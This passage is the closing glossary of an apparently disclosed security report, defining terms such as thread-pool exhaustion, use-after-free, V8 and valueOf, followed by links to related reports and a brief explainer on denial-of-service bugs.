  • Syntactically valid: correctly formed, so a simple filter cannot reject it as malformed.
  • Testnet: a copy of a blockchain used for testing, with no real money on it.
  • Thread: a unit of work inside a process; one process can run several at once.
  • Thread-pool exhaustion: using up all available threads so no new request can be served.
  • tokio: the Rust library that manages worker threads.
  • Tracer: a debugging tool that walks through a blockchain call step by step and reports what it saw.
  • UAF (use after free): using memory that has already been released.
  • Unwinding: Rust's normal way of handling a panic, walking back up through nested calls and cleaning up.
  • Upstream: the project that produces a library, as opposed to the project that uses it.
  • V8: the JavaScript engine used by Chrome.
  • valueOf: a JavaScript method the engine calls when it needs a primitive value from an object.
  • Wall-clock time: real elapsed time, as opposed to CPU time.
  • Worker pool: the fixed set of threads available to answer requests.
  • Worker process: one running copy of the server program.

More by cantina-security

View all

2 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.